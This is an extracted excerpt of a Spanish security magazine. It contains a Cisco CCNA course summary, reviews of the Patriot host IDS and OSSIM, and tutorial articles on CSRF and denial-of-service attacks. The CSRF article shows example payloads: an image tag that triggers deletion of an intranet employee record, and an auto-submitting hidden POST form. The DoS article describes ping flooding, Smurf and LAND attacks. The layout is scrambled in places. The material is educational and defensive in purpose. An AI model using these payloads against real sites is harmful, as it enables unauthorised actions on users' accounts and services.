cabeceras). Una vez que Netintercept haya abierto la base de datos de ejemplo. NetIntercept se vende con diferentes variedades de configuración.hakin9. archivos y manipula el tráfico capturado. proporcionando capturas y almacenamiento de hasta 1900 Gigabytes de tráfico de red. análisis y visualización de red. Es capaz de reconstruir hasta 999. simpilficar y acelarar las proceduras de Startup y Shutdown. más eficaz y más seguro. y a la ficha "Forensics" (para realizar búsquedas en la base de datos).999 sesiones a la vez y proporciona una vista comprensible de los datos analizados. reconstruyendo bajo demanda sesiones entre equipos de la red monitorizada. System Tweaker Figura 7. El análisis de NetIntercept muestra correos electrónicos.

com. contrólalo en por lo menos dos impulsiones de CD.Si no puedes leer el contenido del CD y no es culpa de un daño mecánico. En caso de cualquier problema con CD rogamos escribid a: cd@software.pl .

hasta los más avanzados y complicados entornos de red. El objetivo del presente cursillo es que los clientes conozcan la tecnología de la empresa Cisco y ayudarles en la configuración de los routers Cisco. La mayoría de las personas no son capaces de aprobar el examen a la primera. al aprobar un examen escrito. FDDI y TokenRing. Todos los certificados Cisco deben renovarse cada cierto tiempo. Cisco Certified Network Associate) es el primer nivel del certificado editado por la empresa Cisco.org . En cambio. Como curiosidad podemos mencionar que el examen CCIE de dos días es teórico y práctico (el nivel superior de certificación de Cisco) y se lleva en el laboratorio de Bruselas. En esta parte se describieron unas técnicas de restablecimiento de contraseñas para los router Cisco. técnicas de conmutación en las redes extendidas WAN etc. Conoceremos los mensajes básicos relacionados con el protocolo CDP (Cisco Discovery Protocol) que es protocolo de la capa 2 que une los protocolos de las capa inferiores de los medios físicos con los protocolos de las capas superiores de red. Los exámenes se realizan con el ordenador e incluyen tanto las preguntas teóricas (en forma de la prueba de preguntas de opción múltiple) como la parte de simulación que requiere realizar ciertas actividades de configuración en el router o conmutador (switch). La ponencia se concentrará sobre todo. esto es. Sin embargo. en la parte práctica. CDP se emplea para recibir información sobre los dispositivos vecinos. Introducción en la interfaz de usuario y comandos básicos. El objetivo principal de la ponencia es presentar la información básica requerida durante los exámenes certificados Cisco CCNA. Introducción en la configuración de las interfaces de red y las bases del protocolo IP. Conoceremos las bases del práctico empleo del protocolo ARP. es decir. Si bien los niveles básicos. Los conocimientos del candidato se comprueban teórica y también prácticamente. para cuya consecución se requieren conocimientos sobre redes pequeñas. es decir. por ejemplo CCNA. Restablecimiento de contraseñas en el router. el título CCIE requiere aprobar el examen que comprueba tanto los conocimientos de teoría como los conocimientos prácticos. Al principio conoceremos los términos básicos y los comandos empleados en la configuración de los routers Cisco. protocolo que sirve para translación de las direcciones de red en direcciones de hardware de las tarjetas Ethernet. debemos aprobar al menos uno y normalmente varios exámenes. l Figura 1. que incluyen el mercado de pequeñas oficinas y redes locales. Configuración del mensaje del día MOTD (Message of the Day). Para conseguir cualquier certificado Cisco. Así podemos conseguir el certificado de diseño de redes. configuración y administración de pequeñas redes informáticas (de hasta los 100 hospedajes). normalmente cada dos o tres años. aquí durante algunos ejercicios conoceremos los básicos comandos y opciones empleadas desde el intérprete de comandos de los router Cisco. Es útil para suministrar mensajes dirigidos a todos los usuarios de la red. en cambio.hakin9. Se puede aprobar el examen de certificación de dos formas. Las tareas enumeradas aquí se pueden realizar en la mayoría de los router Cisco sin modificar los equipos.live Contenido de CD2 – CCNA E n este número vamos a presentaros la segunda parte del curso CCNA. es necesario volver a aprobar los exámenes. Cisco introdujo varios niveles de certificación. que duran respectivamente 75 minutos y 60 minutos. Empleado en las redes Ethernet. El cursillo está dividido en la parte teórica y práctica. los respectivos títulos se agruparon teniendo en cuenta los tipos de temas a los cuales se refieren. es decir el mensaje presentado en el momento de entrar. Protocolo ARP. El Certificado CCNA (ing. Las pruebas informáticas se realizan en los centros de exámen Sylvan Prometric y cuestan entre 100 y 300 dólares. CDP. Además de la división en diferentes niveles de dificultad. El segundo modo está compuesto del examen de una parte (640-801 CCNA) que dura 90 minutos e incluye los temas de los dos exámenes del primer modo.hakin9. no faltarán descripciones de los elementos necesarios con el trabajo en un equipo real o simulado. Abrimos la sesión HyperTerminal. Este certificado confirma que coneces los conocimientos necesarios para la instalación. Veremos como por primera vez ejecutar el router a través del empleo de los respectivos comandos y de la secuencia de inicio y realizar la configuración básica del router real. conmutación y routing. Los laboratorios se dividen en: l l l l l l Conexión al router real Cisco y la comunicación al router a través de la aplicación HyperTerminal. desde los básicos. protecciones. Cisco CCNA 14 www. El primero está compuesto de dos exámenes: 640-821 INTRO y 640-811 ICND. Es una de las pruebas más difíciles. se pueden conseguir de manera estándar.

En caso de cualquier problema con CD rogamos escribid a: cd@software. contrólalo en por lo menos dos impulsiones de CD.com.pl .Si no puedes leer el contenido del CD y no es culpa de un daño mecánico.

Appliances antivirus para combatir con las plagas de Internet y como valor añadido tenemos NIDS en segmentos críticos. NIDS (Network IDS).com/ Patriot es una herramienta IDS de Host. 16 www.hakin9. Pongámonos en situación: Como buenos Analistas de Seguridad.security-projects. son los más utilizados en empresas. Patriot es una potente herramienta capaz de alertar ante situaciones tales como por ejemplo.org . modificando por ejemplo el fichero Host para inutilizar el antivirus e incluso para realizar ataques de Pharming (fraude bancario). creando nuevos usuarios en el sistema. usuarios. y lo malo es que todo esto sucede a “oscuras” tanto del usuario como de nosotros cuya finalidad es proteger nuestra red en su máxima integridad. Por un lado nos encontramos con un sistema IDS cuyo uso no es muy extendido en ordenadores personales que forman nuestra red. Es aquí en esta situación real donde tiene sentido la aplicación presentada: Patriot. pero nos olvidamos del resto de la red. en este caso Patriot alerta de cualquier intento de modificación de la configuración del navegador Internet Explorer. Herramientas Inicio Rápido: Sin duda alguna es una realidad que hoy en día hay personas capaces de acceder a ordenadores a través de numerosas vulnerabilidades y que en la mayoría de los casos no somos conscientes por un lado de que han accedido a nuestro ordenador y por otro quien ha entrado y de que forma lo ha realizado. La seguridad informática. uno de los métodos utilizados son los IDS. un IDS de host es capaz de protegernos ante la entrada de un spyware hasta detectar si nos están creando nuevos Figura 1. Patriot es una herramienta anti. etc. un día vemos como todo estos sistemas no sirven de nada si cualquiera de nuestros usuarios cae víctima de un malware (ya sea por el puerto 80 o por un correo no legítimo) cuya firma no es identificada por el antivirus ni por los IDS. y es más su ataque se centra en la maquina. si nos infectamos con un spyware que quiere redirigirnos a una página Web para motivarnos a comprar o simplemente para subir en visitas. etc.Patriot Sistema Operativo: Windows NT/2000/XP Licencia: Freeware Destino: IDS (Sistema de detección de intrusos) de Host Página Oficial: http://www. Pantalla con la interface de Patriot y sus parámetros de configuración servicios. HIDS (Host IDS). capaz de monitorizar el comportamiento de nuestro sistema sin necesidad de firmas ni patrones y además nos ofrece la funcionalidad de IPS (Sistemas de Prevención de Intrusos). funciona monitorizando la configuración de Windows y alertando en el caso que detecte un cambio que pueda haber sido provocado por la acción de cualquier tipo de Malware.spyware /malware /troyanos /dialer /ataques e incluso virus. DIDS. se encarga de monitorizar que el comportamiento de dicha maquina sea bueno. ha evolucionado desde sus inicios hasta hoy. y existen actualmente métodos muy buenos para poder localizar ataques que sufren nuestros sistemas y redes. es un IDS que controla a una sola máquina. ya sea por falta de aplicaciones como la que explico en esta sección o porque normalmente caemos en el error de montar este tipo de sistema en servidores críticos. como sabemos la mayoría del malware va destinado a este navegador (y su uso en empresas es casi obligatorio por compatibilidad con herramientas corporativas). añadiendo en el arranque programas como troyanos. Pues bien. este es un IDS que mezcla el HIDS y el NIDS (su uso es limitado dado la complejidad de su despliegue y gestión). son IDS que analizan todo el tráfico de red que hay en ese segmento. tenemos nuestra red protegida y controlada de accesos (a nivel perimetral) mediante Firewalls.

Como hemos podido comprobar la Seguridad Informática es un tema homogéneo y compacto ya que todo tiene que estar lo más protegido posible. En nuestra red se puede dar el caso de que una máquina este comprometida por un atacante y esto intente realizar ataques a otros ordenadores. ya sea a nivel de ISP o a nivel local de nuestra máquina. Patriot nos avisa de que se ha creado una nueva conexión telefónica y nos permite eliminarla. en este ejemplo. esté rápidamente se copia en diferentes directorios críticos Patriot es capaz de decirnos en tiempo real los ficheros que se crean en nuestro sistema. Patriot monitoriza los cambios producidos en el fichero Host esto es muy útil ya que gracias a esta herramienta podemos evitar ataques de Pharming y/o cualquier intención negativa que tenga el malware en nuestro sistema. este tipo de usuario seguro que un usuario normal no lo borra por miedo a dejar inestable el sistema. por ejemplo un Spammer para utilizarnos como ordenador Zombi para mandar Spam desde nuestra ubicación. Patriot monitoriza la creación de usuarios avisando que se han creado y dando la posibilidad de no dejar que se creen. se ejecute el proceso de dicho virus o troyano. sin duda alguna esta herramienta ayudará a muchos administradores de seguridad a tener una red más controlada. fiable y por supuesto segura. Una variante más fuerte y dañina del Phishing. Se puede dar el caso que un atacante o incluso un usuario de nuestra red.es) www. Si por ejemplo nuestras máquinas se enfrentan con un ataque avanzado como por ejemplo los complejos RootKits. Cuando nuestro sistema se infecta con un virus. Patriot detecta la instalación de nuevos drivers. además de alertarnos Patriot nos da la opción de poder eliminarlos. para ello lo que hace es crear un usuario en el sistema (además en la mayoría de los casos muy parecido algún usuario o proceso del sistema. Patriot detecta las modificaciones en las Keys relacionadas con el arranque de Windows y nos permite eliminarlas en el mismo momento. gracias a Patriot estaremos protegidos de ellos ya que monitoriza la tabla ARP y alerta en caso de cambio. sino que también hace las funciones de IPS (Sistema de Prevención de Intrusos) con lo que podemos bloquear y eliminar los ataques en tiempo real sin que estos lleguen a dañar el sistema. esto nos viene muy bien para llevar un control total. uno de los ataques más potentes a nivel de red Lan son los Man in the Midle (MitM). que controla el envió masivo de correo hacia un servidor SMTP podemos detectar infecciones de virus en busca de propagación o spyware para envió de correo. La garantía de no tener que depender de si han salido firmas para los nuevos virus/spyware/malware. En el caso de Patriot y en esto hay que agradecer el esfuerzo a su creador (Yago Jesús Molina) no solo puede actuar como IDS de Host. Gonzalo Asensio Asensio Analista de Seguridad Informática Miembro de ISSA-SPAIN Autor del libro Seguridad en Internet (http://www. intente acceder a recursos compartidos de otras máquinas con sistema Operativo Windows. gracias a la monitorización de Patriot. muy útil para detectar Rootkits en nuestro sistema. Figura 2. Página oficial de Security Projects También puede que nuestra máquina pueda ser comprometida por un intruso. no consume recursos del sistema con lo que es un sistema perfecto para unirlo con otros que se basen en firmas y patrones (lo bueno de Patriot es precisamente eso. Patriot tiene otras funcionalidades que podemos ver y configurar (activar o desactivar fácilmente). Cuando un Intruso se hace con nuestra máquina mediante cualquier vulnerabilidad. probablemente su intención sea mantenerse en el sistema. usuario WinxpSupport. nos hará la vida más fácil y productiva dentro de nuestro trabajo por el esfuerzo de proteger nuestra empresa ante cualquier ataque o intrusión. este caso Patriot nos avisa de los usuarios que están conectados al sistema y a que recurso están conectados por Netbios. que no requiere de firmas y patrones sino que se basa en hechos certeros y en tiempo real). o la detección de un ataque más minucioso. o troyano.org 17 .hakin9.Herramientas En el caso de que nos infecte el sistema un virus.seguridadeninternet. lo siguiente que hace es poner una entrada en el registro de Windows para que al reiniciar el sistema. estos ataques nos crean conexiones nuevas telefónicas y se conectan a líneas de tarificación cara en este ejemplo. es el Pharming. Estos son complejos de realizar y muy efectivos. por ejemplo. este último se basa en vulnerar los DNS. Uno de los ataques que más fraude ha ocasionado años atrás. son los Dialer. Otros Rasgos Útiles: Patriot tiene una interface de configuración muy sencilla. sobre todo en el ámbito domestico.

Spade.ossim. lo que dificulta la abstracción. de hecho su nombre completo es Open Source Security Information Management.D eventos Sensories Monitores Cons. sesiones activas. Correlación de eventos para reducir falsos positivos. Snort. El problema de estos sistemas reside en su coste. Posibilitar la reacción activa. Las principales características de estos sistemas podrían reducirse a estas cuatro: • • • Análisis de eventos de seguridad de fuentes diversas.org . La arquitectura de una topología monitorizada por OSSIM 18 www. tanto de licencia como de implantación dentro de las redes a monitorizar. los sistemas de detección que tenemos para detectar estos ataques generan una gran cantidad de información por su alta sensibilidad y esto imposibilita la gestión y análisis de esta información. Es en este punto donde aparecen los sistemas SIM.php?form_cat=200 Licencia: BSD License http://sourceforge. Nos encontramos ante una paradoja.hakin9. Esta es su definición formal: OSSIM es una distribución de productos open source integrados para constituir una infraestructura de monitorización de seguridad [1]. La correlación es la capacidad de relacionar y procesar la información una vez que esta es homogénea. Con él podemos acceder de forma sencilla a toda la información que se esta monitorizando con un simple vistazo. servicios. SIM es el acrónimo de Security Information Management. vulnerabilidades. Véase como ejemplo el patrón de funcionamiento de un Troyano que abre un puerto no permitido dentro de un host de la red que su funcionamiento normal no contempla el uso de ese puerto (DNS). Herramientas La detección de ataques en las redes corporativas son un problema difícil de solucionar. ACID. Los sistemas Sim centralizan el proceso de análisis de eventos de seguridad. veamos una descripción general. arpWatch. Forense Cuadro de mados Figura 1.net/softwaremap/trove_list.. Basada en herramientas open source de gran aceptación en el mundo de la seguridad: Nessus.B. Se obtiene información para mejorar la seguridad de la red y la detección de nuevos ataques. Además esta información aparece de forma atómica.. Nos aporta funcionalidades como un cuadro de mandos de alto nivel. Se trata de la paradoja de la información.net Open Source Security Information Managment es una herramiente que sirve para monitorización de eventos de seguridad en redes. sin relación entre sí.Open Source Security Information Management Sistema operativo: All POSIX (Linux/BSD/UNIX-likeOSes http://sourceforge.php?form_cat=187 Destino: Administración de Red Página de inicio: www. nmap. evitando daños mayores. Llegamos a OSSIM y la cultura open source. Análisis post-incidentes. Nos Recolección / Normalización Red Gestion 1 Red FW Externa Correlación Indicadores Red Corporativa Ossim 4 Priorización 3 Valoración de Riesgo 2 B. rdd.D.net/softwaremap/trove_list. Permite la detección de patrones de ataque y situaciones anómalas. Como por ejemplo un monitor de riesgo. Ntop.

El monitor de riesgos mostrará la situación de cada indice de riesgo según CALM. viendo la amenaza como un evento que tiene asociada una fiabilidad y probabilidad de ocurrencia. Por ello os animo a que esto sólo sea una mera introducción y que consultéis la documentación oficial de la herramienta.Herramientas permite crear nuestras propias reglas de correlación. P U B L I Las alertas cualificadas pasan al motor de correlación que actualizara su estado y realimenta de nuevo el proceso anterior. Estas alarmas se dispararán por medio del motor de correlación. Estas líneas no son más que la punta del iceberg. Los eventos se normalizan y se guardan si procede en la base de datos de eventos(2). Si se estima oportuno este nivel generará una alarma en el panel de control(3). OSSIM es un océano de posibilidades por explotar. Estas alarmas se dispararán por medio del motor de correlación.hakin9. El monitor de riesgos mostrará la situación de cada indice de riesgo según CALM (Compromise and Attack Level Monitor). La valoración de riesgo proporciona la capacidad de decisión sobre la ejecución de una acción ante una amenaza. En OSSIM la correlación forma parte del núcleo y esta orientada a adaptarse a las nuevas herramientas que se integren en el sistema. ya que es capaz de aumentar la fiabilidad de las alarmas a partir de las anomalias detectadas por parte de los sensores de la red. Todo esto con la unión de software libre. Desde el cuadro de mandos podemos ver las alarmas más recientes. A modo de resumen debemos hacer hincapié en el motor de correlación de esta herramienta y en su manera de tratar y manipular los eventos que se producen en una red.org 19 . La correlación tiene un papel fundamental de cara a la gestión de grandes cantidades de eventos. Los eventos los procesan los sensores y son eviados al servidor OSSIM por medio de un protocolo abierto que une al sensor con la capa de recolección de eventos(1). Desde el cuadro de mandos podemos ver las alarmas más recientes. Este motor será el que nos aporte el nivel de aprendizaje que refinará la detección de anomalias(4). Figura 1 presenta la arquitectura de una topología monitorizada por OSSIM y su funcionamiento interno. Llegado este momento el se determinara su nivel de prioridad y su nivel de riesgo. Francisco Jesús Gómez Rodríguez C I D A D www.

Por una parte uno de los objetivos de ataques cross site scripting (XSS) es inyectar código malicioso javascript en la respuesta de una aplicación vulnerable con el objetivo de filtrar la ID de sesión de el atacante. Diferentes tipos de ataque. L a idea básica de XSRF es simple. En dichos ataques.. Protección contra este tipo de ataques.hakin9. y peticiones con IDs de sesión robadas por un atacante. mientras la sesión no ha expirado.Ataques CSRF: Ataques de falsificación de peticiones Ataque Emilio Casbas Grado de dificultad Cross site Reference Forgery (XSRF) es una clase de ataque que afecta a las aplicaciones web con una estructura de invocación predicible. En vez de ello. el ID de sesión ha sido uno de los principales objetivos en los ataques de aplicación. En este artículo aprenderás. Lo que deberías saber. La forma de trabajo de las sesiones en las aplicaciones web implica que el ID de sesión temporalmente tiene el mismo significado que las credenciales originales de usuario. Existe en aplicaciones con una estructura de acción predicible y que usen cookies. Diferencia principal con respecto al ataque XSS. En contraste. Como resultado de esto. Por ello no es necesario robar la ID de sesión es el propio usuario con privilegios el que realizará la acción por nosotros. Falsificación de peticiones. los ataques XSRF abusan de el hecho que las mayorías de aplicaciones web no pueden distinguir entre peticiones de usuario intencionadas. Esto quiere decir que. • • Conocimiento del protocolo HTTP. una aplicación web trata las peticiones con IDs de sesión válidos como peticiones de el usuario que previamente inicio la sesión. y peticiones que el usuario realizo pero sin tener conocimiento de ello. Si un atacante obtiene el ID de sesión de un usuario autenticado. 20 www.. • • • • En qué consiste un ataque CSRF... es posible realizar peticiones con los mismos privilegios que el usuario original.org . autentificación de navegador o certificados de cliente. cross site request forgery (XSRF) es una forma relativamente desconocida de ataque que no esta motivada con la intención de robar la ID de sesión. el atacante abusa de el hecho que las aplicaciones web no pueden distinguir entre peticiones con IDs de sesión con origen el usuario legítimo. un atacante engaña de alguna manera al usuario para que realice una acción determinada en la aplicación objetivo/vulnerable sin que el usuario sepa que acciones están ocurriendo por debajo.

.es 2 HTTP/1.org/pl/ img/glider.ejemplo.hakin9.. Método GET www.hakin9. POST: El método POST fue diseñado para enviar datos a el servidor. y el servidor web devuelve una respuesta HTTP. </html> Figura 3. Transacción HTTP entre el cliente y el servidor GET /Index. La web es un entorno cliente/servidor y HTTP (Protocolo de transferencia de hipertexto) es el protocolo que utilizan los clientes web y servidores para comunicarse. pero un servidor web para cumplir la especificación HTTP 1.hakin9. <img src="http://stocks.org 21 . Los métodos que nos ocupan son GET y POST. como ya hemos visto.Ataques CSRF Funcionamiento • • • • • Los ataques CSRF implican peticiones HTTP falsas. aqui está. DELETE: Borra un documento de el servidor.0. es de tip text/html Servidor Web Figura 1.php?symbol=OBJX&preciol1500&cantidad=3 Host: stocks. POST: Envía datos al servidor para procesarlos. La petición HTTP en detalle 1 GET / HTTP/1..es Utiliza el método GET para conseguir el objeto glider. Hay que tener en cuenta que no todos los métodos son implementados por todos los servidores web.png HTTP/1. HTTP define una serie de métodos que indicarán el método interpretado para el objeto identificado en la URL. la petición HTTP contiene estos datos (ver Figura 2).es www.org Petición HTTP Dame el documento IIamado /index. veremos que son estos métodos y para que se utilizan. GET: es el método más común.1 200 OK Content-Length: 61 victima stocks.1 Host: www.1.1 Figura 2. y recupera cualquier información identificada por la URL.png que en este caso se trata de una imagen.tienda. Existen multitud de cabeceras que pueden ser incluidas en una petición. La petición de el cliente y la consiguiente respuesta de el servidor crean una transacción HTTP. para continuar es importante comprender que es una petición HTTP.php?symbol=OBJX&precio1500&cantidad=3" /> . PUT: Almacena el cuerpo body de la petición en el servidor. TRACE: Traza el mensaje a través de servidores proxy hacia el servidor. • • GET: Solicita un documento del servidor. por ejemplo: GET http://www.hakin9. La cabecera Host es un requerimiento de HTTP/1.1 sólo necesita implementar el método GET y HEAD.ejemplo.tienda. Un cliente web (comunmente un navegador web) envía una petición web a un servidor web.pl HTTP/1.org LInea de comienzo HTTP/1.pl Cliente Web Respuesta HTTP OK. De una manera más detallada. HEAD: Solicita sólo las cabeceras de un documento del servidor.tienda. lo que realmente ocurre entre nuestro navegador y el servidor web: ver Listado 1. En el ejemplo anterior se esta accediendo a la página www. pero antes de seguir.org y podemos ver varias cabeceras (en negrita) en las peticiones HTTP. OPTIONS: Determina que métodos puede usar un servidor. En más detalle.hakin9. En la práctica es usado para el www.1 Accept: text/html Host: www.. Para no complicar este artículo se omitirán la mayoría de ellas y sólo se trabajara con las necesarias.es/comprar.200 OK Content-type: text/html Cabeceras Content-length: 61 Expires: Thu. Los métodos más comunes de HTTP son: <html> . 19 Nov 1981 08:52:00 GMT Métodos de HTTP Cuerpo de el mensaje "body" Aqui va el mensaje Los ataques CSRF se realizan principalmente en aquellas aplicaciones que utilizan el método GET para pasar los parámetros solicitados pero también es posible realizar este ataque en aplicaciones que utilizan el método POST.es 3 Ataque CSRF GET / comprar. Un ejemplo básico de una petición HTTP podemos ver en la Figura 1.

q=0. Listado 1.es 2 Respuesta HTTP CSRF: Ataque básico La variedad más común de ataque CSRF usa el tag img de el lenguage HTML para falsificar la petición y utilizando el método GET.utf-8. Hemos visto los principales métodos de HTTP.es La diferencia entre el método GET y el POST está en la forma que codifican o envían los datos a el servidor.text/plain.9. image/png.en-us.*.0.org User-Agent: Mozilla/5.q=0.q=0.video/x-mng.8.image/gif.w3.168.Ataque soporte de los formularios HTML.q=0.org / Protocols /r fc2616 / rfc2616-sec9. pre-check=0 Pragma: no-cache Content-Type: text/html Respuesta HTTP Diferencias entre GET y POST El ataque CSRF se centra en las aplicaciones que utilizan tanto el método GET como el POST para realizar sus acciones.1.1 Accept-Language: es.application/xhtml+xml.*/*. php?t=register" name="fud_register"> INTRANET 1 192. U.0.. pero a través de el método GET es más fácil de llevar a cabo. el método POST lo hace en el cuerpo de el mensaje.7. path=/ Expires: Thu. En HTML podemos especificar dos métodos para enviar la información de un formulario.12) Gecko/20050915 Accept: application/x-shockwaveflash.hakin9.1 200 OK Content-Length: 61 <html> .1 Host: www.0.54 (Fedora) X-Powered-By: PHP/5.1 Peficion HTTP GET / HTTP/1.text /xml. Vemos las diferencias entre estos métodos. Mientras que el método GET envía los datos en la url. 19 Nov 1981 08:52:00 GMT Cache-Control: no-store.0. no-cache.en. 15 Nov 2006 15:02:29 GMT. Windows NT 5.7. expires=Wed. El método es especificado dentro de un elemento FORM usando el atributo METHOD como en este ejemplo: <form method="post" action="index.image /jpeg. Para explicar como se puede conseguir esto asumimos que una petición para http:// HTTP/1.application/xml. pero esto está fuera de nuestro alcance en este artículo.q=0.168. nos centramos con los que nos ocupa este artículo.3 Accept-Encoding: gzip.x 200 OK Date: Tue.ejemplo. comportamiento del campo Timestamp 22 www. 14 Nov 2006 15:02:29 GMT Server: Apache/2. post-check=0.q=0. Los datos rellenados en un formulario son enviados a el servidor de una manera ordenada tal y como la aplicación que los esta esperando los pueda procesar correctamente.q=0. <img src="http://192.1/admin/borrar_empleado.7.deflate Accept-Charset: ISO-8859-1.1 Host: www.2. 3 Ataque CSRF http httos Cliente ce la Intranet autorizado www. must-revalidate. rv:1. </html> Figura 4. GET y POST... Después de dar un breve repaso a los principales métodos de HTTP. Lo que ocurre entre el navegador y el serviodor GET / HTTP/1.hakin9..0 (Windows.ejemplo. Las recomendaciones oficiales (http: //www.html#sec9) recomiendan cuando utilizar un método y cuando utilizar otro.q=0.org .4 Set-Cookie: PHPSESSID= s2mcmtlnk590qavhpir4r5vnu4. en-US. Esquema de red del ataque. text/html.php?empleado_id="ecasbas" /> . por ejemplo un programa php que los procesa adecuadamente. ahora nos centraremos en la información que nos interesa para este artículo.7 Keep-Alive: 300 Petición HTTP: HTTP/1.

http://www.168.png HTTP/1.png" /> </html> Listado 2. como realizar transacciones en banca online.es/image.168. punto 3. Usar POST en formularios Realmente no es una protección.w3. no hay un método para que el navegador avise a el servidor web que lo que le va a pedir es una imagen. de esta manera nos aseguramos que el usuario que tiene privilegios es el que realiza las acciones.3. http://www. por ejemplo mandar al usuario lo que parece ser una imagen.w3.php” method=”post”> <input type=”hidden” name=empleado_id=”ecasbas”/> <input type=”submit”/> </form> <script type=”text/javascript”> document.org/MarkUp/html-spec/html-spec_8. En el punto 1.w3. php?empleado_id=ecasbas" /> Una de las características más peligrosa de el ataque CSRF es que el usuario legitimo es el que hace la petición pero sin tener conocimiento de ello. CSRF Ataque con el método POST Este tipo de ataque aunque mayoritariamente se realiza en aplicaciones que usan el método GET también es posible realizarlo a través de el método POST. Veamos esto con más detalle en la Figura 3. si la aplicación de el servidor es predecible todavía podremos ejecutarlo pero esta vez con ayuda de algo de javascript como hemos comprobado anteriormente. punto 2. Incluso con mecanismos de administración de sesiones combinados con el hecho que este tipo de aplicaciones no es accesible por el exterior un ataque CSRF puede tener éxito con algo tan simple como: <img src= "http://192.0. sino que es un enlace creado de manera que genere una petición en un servidor de una tienda online. tal como una imagen que necesita para formar la página.org/wiki/Cross-site_request_forgery. Por lo que si intentamos buscar en los logs de el servidor atacado no veremos nada extraño. Esto quiere decir que es posible acceder a intranets para realizar este tipo de ataques.168.org 23 . con lo cual la aplicación autentificará correctamente al usuario.ejemplo.2. es un recurso.ejemplo. En este ejemplo después de interpretar esta respuesta.wikipedia. lo que validará todo el proceso de compra. petición http de el cliente) excepto por la ruta de el recurso. a continuación mostramos el mismo ataque que el anterior pero con el método POST (ver Listado 2). Uno de los mejores métodos y que los sitios seguros utilizan actualmente es el uso de cadenas MD5 generadas por el servidor y válidas para un usuario en una sesión dada. (Ver Figura 4). una petición adicional como la siguiente será enviada para conseguir la imagen: GET /image. el usuario realiza click en el enlace para visualizar la imagen.1/admin/borrar_empleado. La víctima si ha estado navegando por este sitio sin salir con los mecanismos adecuados. </script> Lo importante de este ejemplo es el contenido (HTML). muchos usuarios piensan que usando el método POST en vez de el GET para enviar los datos de un formulario seremos inmunes a este tipo de ataque.1/admin/borrar_empleado.org/Protocols/rfc2616/rfc2616-sec15. Al tratarse de una petición para un recurso embebido (una imagen) el usuario es completamente inconsciente de que esta pasando realmente. Esto es porque las peticiones para las imágenes no son diferentes a las peticiones de cualquier otra URL.submit(). Vamos a considerar una aplicación de intranet localizada en http://192. pero de igual manera sirve para crear ataques más peligrosos. pero nada más lejos de la realidad. Existen varios métodos para engañar a un usuario y hacerle visitar un enlace especialmente creado.0. l www.1 Host: www.forms[0]. Usar tokens MD5 En la Red • • • • • http://en. O'Reilly (David Gourley.html#sec15.Ataques CSRF www.org/Protocols/rfc2616/rfc2616-sec9. Cuando un navegador interpreta el HTML de una respuesta. A lo que si seremos inmunes será a este método a través de la etiqueta <img> pero hay más formas de esconder una petición.1.hakin9. De esta forma podrá llevar a cabo la petición que le hemos dicho que genere. realizar funciones administrativas en aplicaciones web restringidas. HTTP: The definitive Guide. http://www. Este ejemplo está hecho con una tienda online.html#SEC8. Brian Totty). Método POST <form action=”http://192. enviará una petición GET por cada recurso adicional. sólo las peticiones hechas por los usuarios con acceso legítimo. pero esta imagen no es tal. Un recurso.ejemplo. ya que la solicitud de estos recursos ocurren sin el conocimiento de el usuario.es La característica principal de esta versión es que es idéntica a la petición anterior (1.1/admin que permite a usuarios autorizados borrar empleados.png nos da la siguiente respuesta HTTP: HTTP/1. 2002.1 200 OK Content-Length: 61 <html> <img src= "http://www.html.es/image.0. todavía conservara las credenciales de sesión en su cookie correspondiente.

el realizar un ataque DoS está a disposición de cualquiera que disponga de mayor ancho de banda que el servidor atacado y/o haya descubierto alguna vulnerabilidad del sistema operativo que gestiona el servidor (o los routers). el grado de sobrecarga varía. si un atacante tiene una capacidad mucho mayor. Otros tipos básicos de ataque son: DoS mediante paquetes ICMP (ping). Consiste en enviar de forma continuada un número elevado de paquetes ICMP echo request (ping (1)) de tamaño considerable a la víctima.. es decir.. S e caracterizan por su fácil ejecución y su principal rasgo es la dificultad con la que pueden ser mitigados DoS es el acrónimo the Denial of Service (Denegación de Servicio). • • Nociones básicas sobre las redes TCP/IP. Quizá el ataques DoS por excelencia es y será el conocido ping de la muerte. • • • Todo sobre los ataques DoS. Conocer como funciona un programa para hacer DoS.Los ataques DDoS Ataque Jaime Gutierrez y Mateu Llull Grado de dificultad A lo largo del tiempo. Un ataque DoS a un servidor conectado a Internet tiene como objetivo agotar sus recursos. Es una técnica DoS que pretende agotar el ancho de banda de la víctima. Está claro que la primera opción no está al alcance de cualquiera por lo que los ataques DoS suelen ser del segundo tipo. ¿Qué es el ping? Se trata de una utilidad que comprueba el estado de la conexión con uno o varios En este artículo aprenderás. de forma que esta ha de responder con paquetes ICMP echo reply (pong) lo que supone una sobrecarga tanto en la red como en el sistema de la víctima. Conocimientos de programación.. Dependiendo de la relación entre capacidad de procesamiento de la víctima y atacante. ya sean de ancho de banda o de procesamiento.hakin9. que consiste en enviar un ping con un paquete de más de 56k que colapsa el sistema.org . la víctima no puede manejar el tráfico generado. para que sea (prácticamente) imposible acceder a él. Sus distintos tipos de ataques y como intentar mitigarlos. los ataques de denegación de servicio han sido un medio que junto con otras aplicaciones (recordemos el caso MyDOOM) han sido un verdadero quebradero de cabeza para administradores de sistemas y profesionales del sector. Lo que deberías saber.. este ataque fué usado en los noventa. 24 www. En principio.

Ataques Smurf Listado 1. en particular para todo Internet.S. por ejemplo. -a Resolver direcciones en nombres de host.0. -l tamaño Enviar tamaño del búfer. Si un atacante establece mil conexiones y no realiza ninguna petición sobre ellas. Algunos comandos PING -t Ping el host especificado hasta que se pare.168. Estructura de un ataque Smurf La mayoría de los protocolos de enrutamiento como RIP (Routing Information Protocol) o BGP (Border Gateway Protocol) carecen de autenticación.org 25 . Afortunadamente este ataque implica que la conexión tiene lugar o.168. o tienen una muy sencilla. Si la red sondeada tiene 150 máquinas activas. Ataque LAND Estadísticas de ping para 192. que un atacante envíe un pequeño datagrama a toda una red remota. -v TOS Tipo de servicio.1: 192. un servidor Web puede tener capacidad para atender a mil usuarios simultáneos. la respuesta es 150 veces más intensa. Para ver estadísticas y continuar . se consigue un efecto multiplicador.0. Esto causa que el servidor se responda a sí mismo continuamente acabe desbordándose y al final falle.1 Al final del test se muestra un resumen con las estadísticas de la prueba.presionar Control-C. si sus administradores merecen su sueldo y saben qué comandos utilizar. recibidos = 4. y que las máquinas de dicha red respondan todas a la vez. monopolizará la capacidad del servidor. que se completa la negociación en tres pasos que comentábamos en la sección anterior. Se trata por tanto de un escenario perfecto para que cualquier atacante www. Ello permite.168.0.Los Ataques DDoS equipos remotos.0.: Tipos de ataque – Smurf Smurf Broadcast Ping + spoot El ataque smurf utiliza una característica de Internet: broadcast. -i TTL Tiempo de vida.o.presionar Control-Inter. -n cuenta Número de peticiones eco para enviar.1 con 32 bytes de datos Respuesta Respuesta 